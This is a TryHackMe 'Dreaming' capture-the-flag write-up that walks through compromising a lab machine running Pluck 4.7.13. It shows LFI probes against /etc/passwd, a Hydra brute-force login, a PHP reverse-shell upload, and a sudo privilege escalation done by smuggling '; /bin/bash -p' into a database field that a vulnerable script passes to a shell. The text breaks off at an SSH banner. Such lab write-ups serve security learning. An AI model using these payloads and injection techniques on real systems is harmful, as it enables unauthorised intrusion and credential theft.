Post

Dreaming Writeup

TryHackMe Dreaming Easy Challenge Writeup

Dreaming Writeup

Challenge description:

While the king of dreams was imprisoned, his home fell into ruins.

Can you help Sandman restore his kingdom?


Rustscan

In any TryHackMe challenge room, we can use Rustscan/Nmap to check the ports on the Dreaming machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Command: rustscan -a TARGET_IP -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDwLHu8L86UCKGGVbbYL07uBhmOh9hWLPtBknNwMgULG3UGIqmCT3DywDvtEYZ/6D97nrt6PpsVAu0/gp73GYjUxvk4Gfog9YFShodiB/VJqK4RC23h0oNoAElSJajjEq6JcVaEyub6w8Io50fk4nNhf8dPx0YSaRjKANr9mET6s+4cUNBAF/DknsZw6iYtafzxIQTAtgSX6AtXTXRf5cpdF02wwYvUo1jVSYdXL+Oqx19UADVhQib4Pt5gLAiwuFkoJjnN1L6xwkTjd+sUPVlhQ/6yHfB826/Qk55DWoUrnABfe+3jngyPvjl1heYDuPx01rtDvlDDGAwvriwR7XmX+8X7MZ9E9QOx/m2gEHZ83kuJ9jNLB6WjlqCyA4Zes+oHWbM9Q/nJ/UVQGdfcDS65edQ5m/fw2khqUbCeSFcuD3AQvUJvvFrfg/eTNnhpee/WYJjyZO70tlzhaT/oJheodQ1hQyfgnjwToy/ISHn9Yp4jeqrshBUF87x9kUuLV0=
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCmisKYJLewSTob1PZ06N0jUpWdArbsaHK65lE8Lwefkk3WFAwoTWvStQbzCJlo0MF+zztRtwcqmHc5V7qawS8E=
|   256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK3j+g633Muvqft5oYrShkXdV0Rjn2S1GQpyXyxoPJy0

80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)

Seems like there are two ports: 22 (SSH) and 80 (HTTP).

HTTP(80)

Let’s check the HTTP (port 80) website.

Apache2 Ubuntu Default Page

Hmm, seems like there is nothing on the default page and on the page source. Let’s use dirsearch to search for directories (directory enumeration).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Command: dirsearch -u TARGET_IP

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/REDACTED/Desktop/reports/http_10.10.REDACTED/__25-07-17_16-26-37.txt

Target: http://10.10.REDACTED/

[16:26:37] Starting: 
[16:26:51] 403 -  277B  - /.ht_wsr.txt
[16:26:51] 403 -  277B  - /.htaccess.bak1
[16:26:51] 403 -  277B  - /.htaccess.orig
[16:26:51] 403 -  277B  - /.htaccess.sample
[16:26:51] 403 -  277B  - /.htaccess.save
[16:26:51] 403 -  277B  - /.htaccess_orig
[16:26:51] 403 -  277B  - /.htaccess_extra
[16:26:51] 403 -  277B  - /.htaccessBAK
[16:26:51] 403 -  277B  - /.htaccess_sc
[16:26:51] 403 -  277B  - /.htaccessOLD
[16:26:51] 403 -  277B  - /.htaccessOLD2
[16:26:51] 403 -  277B  - /.htm
[16:26:51] 403 -  277B  - /.html
[16:26:51] 403 -  277B  - /.htpasswd_test
[16:26:51] 403 -  277B  - /.httr-oauth
[16:26:51] 403 -  277B  - /.htpasswds
[16:26:56] 403 -  277B  - /.php
[16:27:37] 301 -  310B  - /app  ->  http://10.10.REDACTED/app/
[16:27:37] 200 -  451B  - /app/
[16:28:52] 403 -  277B  - /server-status/
[16:28:52] 403 -  277B  - /server-status

app directory

We see a folder called pluck-4.7.13.

Pluck 4.7.13

pluck application

When I click on the pluck-4.7.13 folder, it seems like it opens a pluck application (probably version 4.7.13). I tried finding an exploit for pluck version 4.7.13, but I couldn’t find anything for it.

LFI

When looking at the URL, it looks like the webpage might be vulnerable to LFI.

URL = http://TARGET_IP/app/pluck-4.7.13/?file=..//..//..//..//..//..//..//etc/passwd LFI attempt #1

URL = http://TARGET_IP/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd LFI attempt #2

Seems like the creator stopped any LFI attempts from working. So, as I always say, if you are stuck, EEEENNNNUUUMMMEEERRRAATTEEE!!!!

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Command: dirsearch -u TARGET_IP/app/pluck-4.7.13/
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/REDACTED/Desktop/reports/http_10.10.REDACTED/_app_pluck-4.7.13__25-07-17_16-46-12.txt

Target: http://10.10.REDACTED/

[16:46:13] Starting: app/pluck-4.7.13/
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.ht_wsr.txt
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess.bak1
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess.save
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess.sample
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess_extra
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess.orig
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess_orig
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccess_sc
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccessBAK
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccessOLD
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htaccessOLD2
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.htm
[16:46:26] 403 -  277B  - /app/pluck-4.7.13/.html
[16:46:27] 403 -  277B  - /app/pluck-4.7.13/.htpasswd_test
[16:46:27] 403 -  277B  - /app/pluck-4.7.13/.httr-oauth
[16:46:27] 403 -  277B  - /app/pluck-4.7.13/.htpasswds
[16:46:30] 403 -  277B  - /app/pluck-4.7.13/.php
[16:46:48] 200 -    1KB - /app/pluck-4.7.13/admin.php
[16:47:28] 301 -  328B  - /app/pluck-4.7.13/data  ->  http://10.10.REDACTED/app/pluck-4.7.13/data/
[16:47:28] 200 -   48B  - /app/pluck-4.7.13/data/
[16:47:32] 301 -  328B  - /app/pluck-4.7.13/docs  ->  http://10.10.REDACTED/app/pluck-4.7.13/docs/
[16:47:32] 200 -  549B  - /app/pluck-4.7.13/docs/
[16:47:39] 301 -  329B  - /app/pluck-4.7.13/files  ->  http://10.10.REDACTED/app/pluck-4.7.13/files/
[16:47:39] 200 -  419B  - /app/pluck-4.7.13/files/
[16:47:45] 200 -  420B  - /app/pluck-4.7.13/images/
[16:47:45] 301 -  330B  - /app/pluck-4.7.13/images  ->  http://10.10.REDACTED/app/pluck-4.7.13/images/
[16:47:47] 302 -    0B  - /app/pluck-4.7.13/index.php  ->  http://10.10.REDACTED/app/pluck-4.7.13/?file=dreaming
[16:47:47] 302 -    0B  - /app/pluck-4.7.13/index.php/login/  ->  http://10.10.REDACTED/app/pluck-4.7.13/?file=dreaming
[16:47:48] 200 -    1KB - /app/pluck-4.7.13/install.php
[16:47:48] 200 -    1KB - /app/pluck-4.7.13/install.php?profile=default
[16:47:53] 200 -  700B  - /app/pluck-4.7.13/login.php
[16:48:21] 200 -    2KB - /app/pluck-4.7.13/README.md
[16:48:24] 200 -   47B  - /app/pluck-4.7.13/robots.txt

Robots.txt

robots.txt

Doesn’t seem like it contains much information that we don’t know already.

Login.php

login page

Ahhhh, we have a login page! We only need a password and no username. We can use hydra to brute force the login. This part: cont1=^PASS^&bogus=&submit=Log+in was captured using Caido (you can also use Burp Suite, Zap, etc.).

1
2
3
4
5
6
7
8
9
10
Command: hydra -l dummy -f -P /usr/share/wordlists/rockyou.txt TARGET_IP http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -vv

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-17 17:14:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.REDACTED:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[80][http-post-form] host: 10.10.REDACTED   login: dummy   password: REDACTED
[STATUS] attack finished for 10.10.REDACTED (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-17 17:14:16

We got the password!

getting logged in

admin login

Exploitation

We are now in the admin page (basically logged into admin), let us search for possible exploitations.

file uploading

When first going into the admin panel, when clicking on the “pages” button, I saw a “manage files” page, which stuck out to me. When clicking on that button, it seems like I can upload files. Let’s try uploading some php files.

shell upload

After trying shell.php, shell.phtml and shell.php5, shell.phar was the only one that didn’t change to a .txt file. Let’s check it out and get a shell.

reverse shell

shell recieved

We got a shell!

Lucien

Let’s look for any files that seem important.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ip-10-10-REDACTED:/$ cd /home/lucien
cd /home/lucien
www-data@ip-10-10-REDACTED:/home/lucien$ ls
ls
lucien_flag.txt
www-data@ip-10-10-REDACTED:/home/lucien$ cat lucien_flag.txt
cat lucien_flag.txt
cat: lucien_flag.txt: Permission denied
www-data@ip-10-10-REDACTED:/home/lucien$ ls -la
ls -la
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25  2023 .
drwxr-xr-x 6 root   root   4096 May 18 20:25 ..
-rw------- 1 lucien lucien  684 Aug 25  2023 .bash_history
-rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28  2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28  2023 .local
-rw------- 1 lucien lucien  696 Aug 25  2023 .mysql_history
-rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28  2023 .ssh
-rw-r--r-- 1 lucien lucien    0 Jul 28  2023 .sudo_as_admin_successful
-rw-rw---- 1 lucien lucien   19 Jul 28  2023 lucien_flag.txt

We can’t read anything important in Lucien’s home folder. Let’s keep looking.

1
2
3
4
5
6
7
8
9
www-data@ip-10-10-REDACTED:/home/lucien$ cd /opt
cd /opt
www-data@ip-10-10-REDACTED:/opt$ ls -la
ls -la
total 16
drwxr-xr-x  2 root   root   4096 Aug 15  2023 .
drwxr-xr-x 20 root   root   4096 Jul 17 07:21 ..
-rwxrw-r--  1 death  death  1574 Aug 15  2023 getDreams.py
-rwxr-xr-x  1 lucien lucien  483 Aug  7  2023 test.py

We have two python scripts in the /opt directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
www-data@ip-10-10-REDACTED:/opt$ cat getDreams.py
cat getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

Death’s password seems to be redacted from this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@ip-10-10-REDACTED:/opt$ cat test.py
cat test.py
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "REDACTED"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

It seems like the password for Lucien is not redacted! Let’s try sshing into Lucien using this password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Command: ssh lucien@TARGET_IP

The authenticity of host '10.10.REDACTED (10.10.REDACTED)' can't be established.
ED25519 key fingerprint is SHA256:NqMD+YFQa7ajFXcRyZDHqVBkxdkI6vJ8AbSXWD7am0c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.REDACTED' (ED25519) to the list of known hosts.
                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
lucien@10.10.REDACTED's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 17 Jul 2025 08:39:19 AM UTC

  System load:  0.0                Processes:             118
  Usage of /:   54.2% of 11.21GB   Users logged in:       0
  Memory usage: 73%                IPv4 address for ens5: 10.10.REDACTED
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Mon Aug  7 23:34:46 2023 from 192.168.1.102
lucien@ip-10-10-REDACTED:~$

We got into Lucien!!! Let’s get Lucien’s flag.

1
2
lucien@ip-10-10-REDACTED:~$ cat lucien_flag.txt
THM{REDACTED}

Death

Let’s check .bash_history for Lucien.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
lucien@ip-10-10-REDACTED:~$ ls -la
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25  2023 .
drwxr-xr-x 6 root   root   4096 May 18 20:25 ..
-rw------- 1 lucien lucien  684 Aug 25  2023 .bash_history
-rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28  2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28  2023 .local
-rw-rw---- 1 lucien lucien   19 Jul 28  2023 lucien_flag.txt
-rw------- 1 lucien lucien  696 Aug 25  2023 .mysql_history
-rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28  2023 .ssh
-rw-r--r-- 1 lucien lucien    0 Jul 28  2023 .sudo_as_admin_successful
lucien@ip-10-10-REDACTED:~$ cat .bash_history
ls
cd /etc/ssh/
clear
nano sshd_config
su root
cd ..
ls
cd ..
cd etc
ls
..
cd ..
cd usr
cd lib
cd python3.8
nano shutil.py 
clear
clear
su root
cd ~~
cd ~
clear
ls
mysql -u lucien -pREDACTED
ls -la
cat .bash_history 
cat .mysql_history 
clear
ls
ls -la
rm .mysql_history 
clear
history
exit
clear
ls
clear
cd /opt
ls
clear
nano test.sh
ls -la
su root
ls
mv test.sh test.py
ls -la
history
nano ~/.bash_history 
su root
clear
mysql -u lucien -p
clear
history
exit
clear
ls
history
cd ~~
cd ~
cat .bash_history 
clear
ls
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
clear
mysql -u lucien -p
mysql -u root -p
su root

We got a mysql password and username, although it doesn’t seem like we can use it for now. Let’s check sudo -l.

1
2
3
4
5
6
7
lucien@ip-10-10-REDACTED:/opt$ sudo -l
Matching Defaults entries for lucien on ip-10-10-REDACTED:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on ip-10-10-REDACTED:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

It seems like we can run /usr/bin/python3 as Death for /home/death/getDreams.py.

1
2
3
4
5
6
7
8
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

When running the command, it looks like an output for a getDreams.py we found last time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
lucien@ip-10-10-REDACTED:/opt$ cat getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

It seems like the code is running a command echo with the “dreamer” and the “dream”. Let’s see if that has to do with mysql.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
lucien@ip-10-10-REDACTED:/opt$ mysql -u lucien -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.02 sec)

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.00 sec)

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

Seems like the mysql IS connected to the getDreams.py file we found. We can actually set dream to ; /bin/bash -p so that when the getDreams.py file is executed, we become Death.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.00 sec)

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> UPDATE dreams SET dream= '; /bin/bash -p' WHERE dreamer='Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | ; /bin/bash -p                     |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> exit
Bye
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
death@ip-10-10-REDACTED:/opt$

We are now Death! Let’s get Death’s flag!

1
2
3
4
death@ip-10-10-REDACTED:/opt$ cd /home/death
death@ip-10-10-REDACTED:~$ ls
death@ip-10-10-REDACTED:~$ ls -la
death@ip-10-10-REDACTED:~$ cat /home/death/getDreams.py

Hmm, none of the commands we execute are working. Let’s try to use mysql to get Death’s password from /home/death/getDreams.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
lucien@ip-10-10-REDACTED:/opt$ mysql -u lucien -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | ; /bin/bash -p                     |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> UPDATE dreams SET dream= '; cat /home/death/getDreams.py' WHERE dreamer='Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | ; cat /home/death/getDreams.py     |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> exit
Bye
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice +
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "REDACTED"
DB_NAME = "library"

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

We got Death’s password! Let’s ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Command: ssh death@TARGET_IP      

                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
